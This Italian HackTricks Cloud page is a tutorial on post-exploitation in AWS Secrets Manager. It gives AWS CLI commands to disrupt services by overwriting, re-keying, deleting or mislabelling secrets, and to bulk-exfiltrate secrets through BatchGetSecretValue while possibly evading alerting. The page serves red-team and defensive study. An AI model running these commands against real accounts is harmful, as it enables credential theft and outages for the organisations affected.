AWS - Secrets Manager Post Exploitation
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Secrets Manager
Per maggiori informazioni consulta:
Leggere i segreti
I segreti stessi sono informazioni sensibili, consulta la pagina privesc per imparare come leggerli.
DoS: Modificare il valore del segreto
Modificando il valore del segreto potresti causare un DoS a tutti i sistemi che dipendono da quel valore.
warning
Nota che i valori precedenti sono anche memorizzati, quindi è facile tornare al valore precedente.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Se l'attacker ha il permesso secretsmanager:UpdateSecret, può configurare il secret per usare una KMS key di proprietà dell'attacker. Questa key è inizialmente configurata in modo che chiunque possa accedervi e usarla, quindi è possibile aggiornare il secret con la nuova key. Se la key non fosse stata accessibile, il secret non avrebbe potuto essere aggiornato.
Dopo aver cambiato la key del secret, l'attacker modifica la configurazione della propria key in modo che solo lui possa accedervi. In questo modo, nelle versioni successive del secret verrà criptato con la nuova key e, non essendoci accesso a essa, la possibilità di recuperare il secret andrebbe persa.
È importante notare che questa inaccessibilità si verificherà solo nelle versioni successive, dopo che il contenuto del secret sarà cambiato, poiché la versione attuale è ancora criptata con la KMS key originale.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
Il numero minimo di giorni per eliminare un secret è 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
È possibile ripristinare un segreto, il che consente il recupero di segreti che sono stati programmati per la cancellazione, dato che il periodo minimo di cancellazione per i segreti è di 7 giorni e il massimo è di 30 giorni. Insieme al permesso secretsmanager:GetSecretValue, questo rende possibile recuperarne i contenuti.
Per recuperare un segreto che è in fase di cancellazione, puoi usare il seguente comando:
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Questa azione permette di eliminare la policy della risorsa che controlla chi può accedere a un segreto. Questo potrebbe portare a un DoS se la policy della risorsa era configurata per consentire l'accesso a un insieme specifico di utenti.
Per eliminare la policy della risorsa:
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Gli stati di un secret vengono usati per gestire le versioni di un secret. AWSCURRENT indica la versione attiva che le applicazioni utilizzano, AWSPREVIOUS conserva la versione precedente così da poter effettuare il rollback se necessario, e AWSPENDING viene usato nel processo di rotazione per preparare e validare una nuova versione prima di renderla quella corrente.
Le applicazioni leggono sempre la versione con AWSCURRENT. Se qualcuno sposta quell'etichetta sulla versione sbagliata, le app useranno credenziali non valide e potrebbero fallire.
AWSPREVIOUS non viene usato automaticamente. Tuttavia, se AWSCURRENT viene rimosso o riassegnato in modo errato, potrebbe sembrare che tutto stia ancora girando con la versione precedente.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Esfiltrazione massiva di secret tramite BatchGetSecretValue (fino a 20 per chiamata)
Abusa dell'API Secrets Manager BatchGetSecretValue per recuperare fino a 20 secret in una singola richiesta. Questo può ridurre drasticamente il numero di chiamate API rispetto all'iterazione di GetSecretValue per ogni secret. Se si usano filtri (tags/name), è anche richiesto il permesso ListSecrets. CloudTrail registra comunque un evento GetSecretValue per ogni secret recuperato nel batch.
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
warning
Nota che la permission secretsmanager:BatchGetSecretValue non è sufficiente per recuperare i secret, hai anche bisogno di secretsmanager:GetSecretValue per ogni secret che vuoi recuperare.
Esfiltrare tramite lista esplicita
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrate per filtri (tag key/value o name prefix)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Gestione dei fallimenti parziali
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Impatto
- Esecuzione rapida di “smash-and-grab” su molti segreti con meno chiamate API, potenzialmente bypassando gli avvisi tarati sui picchi di GetSecretValue.
- I log di CloudTrail includono comunque un evento GetSecretValue per ogni segreto recuperato dal batch.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud